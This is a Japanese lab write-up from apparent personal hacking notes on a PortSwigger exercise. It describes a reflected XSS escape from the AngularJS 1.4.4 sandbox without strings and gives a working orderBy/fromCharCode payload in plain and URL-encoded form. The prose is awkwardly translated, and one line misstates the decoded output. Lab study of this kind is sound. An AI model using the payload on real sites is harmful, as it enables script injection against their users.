> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/xss/angularjs-sandbox-escape-without-strings.md).
# 文字列なしのAngularJSサンドボックス脱出
PortSwigger Web Security Academy のラボ向けメモ。文字列なしのAngularJSサンドボックス脱出に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。
### 文字列を使わない AngularJS サンドボックス脱出による反射型 XSS
AngularJS における反射型 XSS **1.4.4** — サンドボックスを脱出して実行する `alert(1)` なしで `$eval` または文字列リテラル。
**観測されたコード**
```javascript
angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
$scope.query = {};
var key = 'search';
$scope.query[key] = 'test';
$scope.value = $parse(key)($scope.query);
});
```
**試行**
* 文字列テスト / $eval（動作しない）: / `{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}`
* クエリ文字列に以下を注入することで、パースを壊せる `&`:/ `&7+ 7` → `&7%2b7`
動的に構築する `alert(1)` 経由で `toString().constructor.fromCharCode(...)` そしてフィルターの評価を強制する（`orderBy`):
{% code overflow="wrap" %}
```javascript
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
```
{% endcode %}
" この断片はパースを壊し、16進/ASCIIでは次を生成する `alert(0)` 文字列。
**ペイロード（URLエンコード済み）**
{% code overflow="wrap" %}
```javascript
%74%6f%53%74%72%69%6e%67%28%29%2e%63%6f%6e%73%74%72%75%63%74%6f%72%2e%70%72%6f%74%6f%74%79%70%65%2e%63%68%61%72%41%74%3d%5b%5d%2e%6a%6f%69%6e%3b%20%5b%31%2c%32%5d%7c%6f%72%64%65%72%42%79%3a%74%6f%53%74%72%69%6e%67%28%29%2e%63%6f%6e%73%74%72%75%63%74%6f%72%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%31%32%30%2c%36%31%2c%39%37%2c%31%30%38%2c%31%30%31%2c%31%31%34%2c%31%31%36%2c%34%30%2c%34%39%2c%34%31%29
```
{% endcode %}
---
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